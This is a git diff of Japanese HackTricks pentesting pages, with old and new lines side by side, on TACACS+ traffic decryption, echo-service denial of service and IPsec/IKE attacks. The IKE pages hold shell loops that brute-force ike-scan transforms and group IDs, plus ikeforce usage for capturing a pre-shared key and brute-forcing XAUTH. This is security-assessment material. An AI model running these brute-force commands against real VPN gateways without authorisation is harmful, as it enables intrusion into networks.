* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする。 * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
* **ハッキングトリックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリに。 * **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のgithubリポジトリに提出する**
</details> </details>

View file

@ -2,21 +2,21 @@
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
* **ハッキングテクニックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する** * **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する**
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -46,8 +46,32 @@ PORT STATE SERVICE
sudo loki_gtk.py sudo loki_gtk.py
``` ```
### トラフィックの復号化 ### トラフィックの復号化
鍵が正常に**総当たり攻撃で****通常はMD5で暗号化された形式で**解読されると、**機器にアクセスし、TACACSで暗号化されたトラフィックを復号化**できます。 鍵が**破られる**と**通常はMD5で暗号化された形式で**)、**機器にアクセスし、TACACSで暗号化されたトラフィックを復号化**できます。
鍵が正常に解読された後、次のステップは**TACACSで暗号化されたトラフィックを復号化**することです。Wiresharkは、鍵が提供されている場合に暗号化されたTACACSトラフィックを処理できます。復号化されたトラフィックを分析することで、**使用されているバナーや管理者のユーザー名**などの情報を取得できます。 鍵が正常にクラックされたら、次のステップは**TACACSで暗号化されたトラフィックを復号化**することです。Wiresharkは、鍵が提供されている場合に暗号化されたTACACSトラフィックを処理できます。復号化されたトラフィックを分析することで、**使用されているバナーや管理者のユーザー名**などの情報を取得できます。
取得した資格情報を使用してネットワーク機器のコントロールパネルにアクセスすることで、攻撃者はネットワーク上で制御を行うことができます。これらの行動は教育目的のみに使用されるべきであり、適切な権限なしに使用されるべきではありません。 取得した資格情報を使用してネットワーク機器のコントロールパネルにアクセスすることで、攻撃者はネットワーク上で制御を行うことができます。これらの行動は教育目的のみに使用されるべきであり、適切な権限なしに使用すべきではありません。
## 参考文献
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>!</strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
</details>

View file

@ -4,17 +4,17 @@
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する - [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見す - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけ
* **💬 [Discordグループに参加](https://discord.gg/hRep4RUj7f)**または[telegramグループに参加](https://t.me/peass)または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。 - **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する
* **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** - **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -22,7 +22,7 @@ HackTricksをサポートする他の方法
# 基本情報 # 基本情報
このホストでエコーサービスが実行されています。エコーサービスはテストおよび計測目的で意図されており、TCPおよびUDPプロトコルの両方でリッスンする可能性があります。サーバーは受信したデータを変更せずに送り返します。\ このホストでエコーサービスが実行されています。エコーサービスはテストおよび計測目的で意図されており、TCPおよびUDPプロトコルの両方でリッスンする可能性があります。サーバーは受信したデータを変更せずに送します。\
**同じマシンまたは別のマシンのエコーサービスに接続することで、サービスの拒否を引き起こす可能性があります**。生成されるパケット数が過剰であるため、影響を受けるマシンは実質的にサービスから外れる可能性があります。\ **同じマシンまたは別のマシンのエコーサービスに接続することで、サービスの拒否を引き起こす可能性があります**。生成されるパケット数が過剰であるため、影響を受けるマシンは実質的にサービスから外れる可能性があります。\
情報元:[https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/) 情報元:[https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
@ -32,7 +32,7 @@ PORT STATE SERVICE
7/udp open echo 7/udp open echo
7/tcp open echo 7/tcp open echo
``` ```
## Echoサービスに接続するUDP ## Echoサービスへの接続UDP
```bash ```bash
nc -uvn <IP> 7 nc -uvn <IP> 7
Hello echo #This is wat you send Hello echo #This is wat you send
@ -51,20 +51,20 @@ Hello echo #This is the response
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert使用して、ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>!</strong></summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**してください。 * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**してください。
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、**ハッキングトリックを共有**してください。 * **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details> </details>

View file

@ -2,21 +2,21 @@
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れ - [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手す
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見つける - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。 - **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する。
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する - **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、**あなたのハッキングテクニックを共有**してください
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -26,15 +26,15 @@ HackTricksをサポートする他の方法
**IPsec**は、ネットワーク間LAN間やリモートユーザーからネットワークゲートウェイへの通信を保護するための主要技術として広く認識されており、企業向けVPNソリューションのバックボーンとして機能しています。 **IPsec**は、ネットワーク間LAN間やリモートユーザーからネットワークゲートウェイへの通信を保護するための主要技術として広く認識されており、企業向けVPNソリューションのバックボーンとして機能しています。
2つのポイント間で**セキュリティアソシエーションSA**の確立は、**IKE**によって管理され、認証と鍵交換を目的としたプロトコルであるISAKMPの枠組みの下で動作します。このプロセスはいくつかのフェーズで展開されます: 2つのポイント間で**セキュリティアソシエーションSA**を確立することは、**IKE**によって管理されます。IKEは、認証と鍵交換のために設計されたプロトコルであるISAKMPの下で動作します。このプロセスは、次のフェーズで展開されます:
- **フェーズ1:** 2つのエンドポイント間に安全なチャネルが作成されます。これは、Pre-Shared KeyPSKまたは証明書を使用し、3つのメッセージのペアを含むメインモードまたは**アグレッシブモード**を使用して達成されます。 - **フェーズ1:** 2つのエンドポイント間に安全なチャネルが作成されます。これは、Pre-Shared KeyPSKまたは証明書を使用し、3つのメッセージのペアを含むメインモードまたは**アグレッシブモード**を使用して達成されます。
- **フェーズ1.5:** 必須ではありませんが、このフェーズは拡張認証フェーズとして知られ、接続しようとするユーザーの身元を確認するためにユーザー名とパスワードを要求します。 - **フェーズ1.5:** 必須ではありませんが、このフェーズは拡張認証フェーズとして知られ、接続しようとするユーザーの身元を確認するためにユーザー名とパスワードを要求します。
- **フェーズ2:** このフェーズは、**ESP**と**AH**を使用してデータを保護するためのパラメータを交渉することに専念しています。フェーズ1とは異なるアルゴリズムを使用して**完全転送秘匿PFS**を確保し、セキュリティを強化します。 - **フェーズ2:** このフェーズは、**ESP**と**AH**を使用してデータを保護するためのパラメータを交渉することに専念しています。フェーズ1とは異なるアルゴリズムを使用して**完全転送秘匿PFS**を確保し、セキュリティを強化します。
**デフォルトポート:** 500/udp **デフォルトポート:** 500/udp
## **nmap**を使用してサービスを発見 ## **nmapを使用して**サービスを発見
``` ```
root@bt:~# nmap -sU -p 500 172.16.21.200 root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
@ -46,7 +46,7 @@ MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
``` ```
## **有効な変換を見つける** ## **有効な変換を見つける**
IPSecの構成は、1つまたは複数の変換を受け入れるように準備することができます。変換は値の組み合わせです。**各変換**には、DESまたは3DESのような**暗号化アルゴリズム**、SHAまたはMD5のような**整合性アルゴリズム**、事前共有キーを**認証タイプ**として含み、Diffie-Hellman 1または2を鍵**配布アルゴリズム**として、28800秒を**寿命**として含みます。 IPSecの構成は、1つまたは複数の変換を受け入れるように準備できます。変換は値の組み合わせです。**各変換**には、DESまたは3DESのような**暗号化アルゴリズム**、SHAまたはMD5のような**整合性アルゴリズム**、事前共有キーを**認証タイプ**として含み、Diffie-Hellman 1または2を鍵**配布アルゴリズム**として、28800秒を**寿命**として含みます。
したがって、最初に行う必要があることは、**有効な変換を見つける**ことです。これにより、サーバーがあなたと通信できるようになります。これを行うために、**ike-scan**ツールを使用できます。デフォルトでは、Ike-scanはメインモードで動作し、ISAKMPヘッダーと1つの提案を含むパケットをゲートウェイに送信します。**その中に8つの変換が含まれています**。 したがって、最初に行う必要があることは、**有効な変換を見つける**ことです。これにより、サーバーがあなたと通信できるようになります。これを行うために、**ike-scan**ツールを使用できます。デフォルトでは、Ike-scanはメインモードで動作し、ISAKMPヘッダーと1つの提案を含むパケットをゲートウェイに送信します。**その中に8つの変換が含まれています**。
@ -61,45 +61,46 @@ VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
``` ```
前の応答で見られるように、**AUTH**というフィールドがあり、値は**PSK**です。これはVPNが事前共有キーを使用して構成されていることを意味しますこれはペンテスターにとって本当に良いことです 前の応答で見ると、**AUTH**というフィールドがあり、値が**PSK**になっています。これは、VPNが事前共有キーを使用して構成されていることを意味しますこれはペンテスターにとって本当に良いことです
**最後の行の値も非常に重要です:** **最後の行の値も非常に重要です:**
* _0 returned handshake; 0 returned notify:_ これはターゲットが**IPsecゲートウェイではない**ことを意味します。 * _0 returned handshake; 0 returned notify:_ これは、対象が**IPsecゲートウェイでない**ことを意味します。
* _**1 returned handshake; 0 returned notify:**_ これは、**ターゲットがIPsecに構成され、IKEネゴシエーションを実行する意向があり、提案した変換の1つ以上が受け入れ可能である**ことを意味します(有効な変換は出力に表示されます)。 * _**1 returned handshake; 0 returned notify:**_ これは、**対象がIPsecに構成され、IKEネゴシエーションを実行する意向があり、提案された変換のいずれかが受け入れ可能である**ことを意味します(有効な変換は出力に表示されます)。
* _0 returned handshake; 1 returned notify:_ VPNゲートウェイは、**提案した変換がいずれも受け入れられない場合には通知メッセージで応答**します(ただし、一部のゲートウェイは応答しない場合もあり、その場合はさらなる分析と改訂提案が試されるべきです)。 * _0 returned handshake; 1 returned notify:_ VPNゲートウェイは、**受け入れ可能な変換がない場合に通知メッセージで応答**します(ただし、一部のゲートウェイは応答しない場合もあり、その場合はさらなる分析と改訂提案が必要です)。
したがって、この場合、すでに有効な変換がありますが、3番目の場合は、**有効な変換を見つけるために少しブルートフォースする必要があります:** したがって、この場合、すでに有効な変換がありますが、3番目の場合は、**有効な変換を見つけるために少しブルートフォースする必要があります:**
まず、すべての可能な変換を作成する必要があります: まず、すべての可能な変換を作成する必要があります:
```bash ```bash
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
``` ```
して、ike-scanを使用してそれぞれをブルートフォース攻撃しますこれには数分かかる場合があります: の後、ike-scanを使用してそれぞれをブルートフォース攻撃しますこれには数分かかる場合があります:
```bash ```bash
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
``` ```
もし総当たり攻撃がうまくいかない場合、サーバーが正当な変換に対してもハンドシェイクなしで応答している可能性があります。その場合、同じ総当たり攻撃を行うが、アグレッシブモードを使用してみることができます。 もしブルートフォースがうまくいかない場合、サーバーが有効な変換に対してもハンドシェイクなしで応答している可能性があります。その場合、同じブルートフォースを用いてアグレッシブモードを試してみることができます。
```bash ```bash
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
``` ```
**有効な変換がエコーバックされることを期待しています**。\ Hopefully **有効な変換がエコーバックされます**。\
同じ攻撃を**iker.py**を使用して試すことができます。\ 同じ攻撃を**iker.py**を使用して試すことができます。\
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py)を使用して同じ攻撃を試すこともできます。\
[**ikeforce**](https://github.com/SpiderLabs/ikeforce)を使用して変換を総当たりで試すこともできます。 [**ikeforce**](https://github.com/SpiderLabs/ikeforce)を使用して変換を総当たりで試すこともできます。
```bash ```bash
./ikeforce.py <IP> # No parameters are required for scan -h for additional help ./ikeforce.py <IP> # No parameters are required for scan -h for additional help
``` ```
![](<../.gitbook/assets/image (109).png>) ![](<../.gitbook/assets/image (109).png>)
**DH Group: 14 = 2048-bit MODP** **15 = 3072-bit** では **2 = HMAC-SHA = SHA1 (この場合)** です。`--trans` フォーマットは $Enc,$Hash,$Auth,$DH です **DH Group: 14 = 2048-bit MODP** および **15 = 3072-bit** である。**2 = HMAC-SHA = SHA1 (この場合)**。`--trans` フォーマットは $Enc,$Hash,$Auth,$DH である
シスコは、DH グループ 1 と 2 の使用を避けるように指示しています。これらは強力ではないため、**リソースが豊富な国々**は、これらの弱いグループを使用するデータの暗号化を簡単に解読できると専門家は考えています。これは、それらを素早く解読するための特別な方法を使用して行われます。この方法を設定するのに多額の費用がかかりますが、これにより、これらの強力な国々が、暗号化されたデータをリアルタイムで読むことができます1,024ビット以下のグループを使用している場合など)。 シスコは、DH グループ 1 および 2 の使用を避けるよう指示している。これらは強力ではないため、**リソースが豊富な国々**は、これらの弱いグループを使用するデータの暗号化を簡単に解読できると専門家は考えている。これは、それらを素早く解読するために準備する特別な方法を使用することによって行われる。この方法を設定するのに多額の費用がかかるにもかかわらず、これらの強力な国々は、暗号化されたデータをリアルタイムで読むことができるようになります1,024ビット以下のような強力でないグループを使用している場合)。
### サーバーのフィンガープリント ### サーバーのフィンガープリント
次に、ike-scan を使用して、デバイスの **ベンダー** を特定しようとすることができます。このツールは初期提案を送信し、リプレイを停止します。その後、サーバーから受信したメッセージと一致する応答パターンとの **時間差** **分析** することで、ペンテスターは VPN ゲートウェイのベンダーを正にフィンガープリントできます。さらに、一部の VPN サーバーは IKE でオプションの **Vendor ID (VID) ペイロード** を使用します。 次に、デバイスの **ベンダーを特定** するために ike-scan を使用できます。このツールは初期提案を送信し、リプレイを停止します。その後、サーバーから受信したメッセージと一致する応答パターンとの **時間差** を分析することで、ペンテスターは VPN ゲートウェイのベンダーを正にフィンガープリントできます。さらに、一部の VPN サーバーは IKE でオプションの **Vendor ID (VID) ペイロード** を使用します。
必要に応じて有効な変換を指定します--trans を使用) 必要に応じて **有効な変換を指定** する--trans を使用)
IKE がベンダーを特定した場合、それを表示します: IKE がベンダーを特定した場合、それを表示します:
``` ```
@ -134,7 +135,7 @@ Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 retur
```bash ```bash
ike-scan -P -M -A -n fakeID <IP> ike-scan -P -M -A -n fakeID <IP>
``` ```
**ハッシュが返されない**場合、おそらくこのブルートフォースの方法が機能するでしょう。**何らかのハッシュが返される場合、これは偽のIDに対して偽のハッシュが返されるため、この方法はIDをブルートフォースするために信頼できない**可能性があります。たとえば、偽のハッシュが返されることがあります(これは最新バージョンで発生します): **ハッシュが返されない**場合、おそらくこのブルートフォースの方法が機能するでしょう。**ハッシュが返される場合、偽のIDに対して偽のハッシュが返されるため、この方法はIDをブルートフォースするのに信頼性がありません**。たとえば、偽のハッシュが返される可能性があります(これは最新バージョンで発生します):
![](<../.gitbook/assets/image (110).png>) ![](<../.gitbook/assets/image (110).png>)
@ -150,19 +151,19 @@ while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>
``` ```
### IDのBruteforce with Iker ### IDのBruteforce with Iker
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py)は、**ike-scan**を使用して可能なグループ名をBruteforceするためにも使用されます。**ike-scan**の出力に基づいて、**有効なIDを見つけるための独自の方法**に従います。 [iker.py](https://github.com/isaudits/scripts/blob/master/iker.py)は**ike-scan**を使用して、可能なグループ名をBruteforceします。**ike-scan**の出力に基づいて、**有効なIDを見つけるための独自の方法**を使用します。
### IDのBruteforce with ikeforce ### IDのBruteforce with ikeforce
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce)は、**IDをBruteforceするために使用できるツール**です。このツールは、**有効なIDと無効なIDを区別するために使用できるさまざまな脆弱性を悪用しようとします**偽陽性と偽陰性が発生する可能性があるため、可能な限りike-scanの方法を使用することを好みます)。 [ikeforce.py](https://github.com/SpiderLabs/ikeforce)は、**IDをBruteforceするために使用できるツール**です。このツールは、**有効なIDと無効なIDを区別するために使用できるさまざまな脆弱性を悪用しようとします**偽陽性と偽陰性が発生する可能性があるため、可能な限りike-scanの方法を使用することをお勧めします)。
デフォルトでは、**ikeforce**は最初にいくつかのランダムなIDを送信して、サーバーの動作をチェックし、使用するタクティクを決定します。 デフォルトでは、**ikeforce**は最初にいくつかのランダムなIDを送信して、サーバーの動作をチェックし、使用するタクティクを決定します。
* **最初の方法**は、Ciscoシステムの情報**Dead Peer Detection DPD**を**検索**して、グループ名をBruteforceすることですこの情報は、グループ名が正しい場合にのみサーバーによって再生されます - **最初の方法**は、Ciscoシステムの**Dead Peer Detection DPD**情報を**検索**して、グループ名をBruteforceすることですこの情報は、グループ名が正しい場合にのみサーバーによって再生されます
* 利用可能な**2番目の方法**は、各試行に送信される応答の数を**チェックする**ことです。正しいIDが使用されると、より多くのパケットが送信される場合があります。 - 利用可能な**2番目の方法**は、各試行に送信される応答の数を**チェックする**ことです。正しいIDが使用されると、より多くのパケットが送信される場合があります。
* **3番目の方法**は、不正なIDに対する応答で**"INVALID-ID-INFORMATION"を検索**することです。 - **3番目の方法**は、不正なIDに対する応答で**"INVALID-ID-INFORMATION"を検索**することです。
* 最後に、サーバーがチェックに対して何も応答しない場合、**ikeforce**はサーバーをBruteforceし、正しいIDが送信されるとサーバーがいくつかのパケットで応答するかどうかをチェックします。\ - 最後に、サーバーがチェックに対して何も応答しない場合、**ikeforce**はサーバーをBruteforceし、正しいIDが送信されるとサーバーがパケットで応答するかどうかをチェックします。\
明らかに、IDをBruteforceする目的は、有効なIDがある場合に**PSK**を取得することです。その後、**ID**と**PSK**を使用して、XAUTHをBruteforceする必要があります有効になっている場合 明らかに、IDをBruteforceする目的は、有効なIDを持っている場合に**PSK**を取得することです。その後、**ID**と**PSK**を使用して、XAUTHをBruteforceする必要があります有効になっている場合
特定の変換を発見した場合は、ikeforceコマンドに追加してください。複数の変換を発見した場合は、すべてを試す新しいループを自由に追加してくださいうまく機能するまですべてを試す必要があります 特定の変換を発見した場合は、ikeforceコマンドに追加してください。複数の変換を発見した場合は、すべてを試す新しいループを自由に追加してくださいうまく機能するまですべてを試す必要があります
```bash ```bash
@ -175,36 +176,36 @@ pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
``` ```
### スニッフィングID ### スニッフィングID
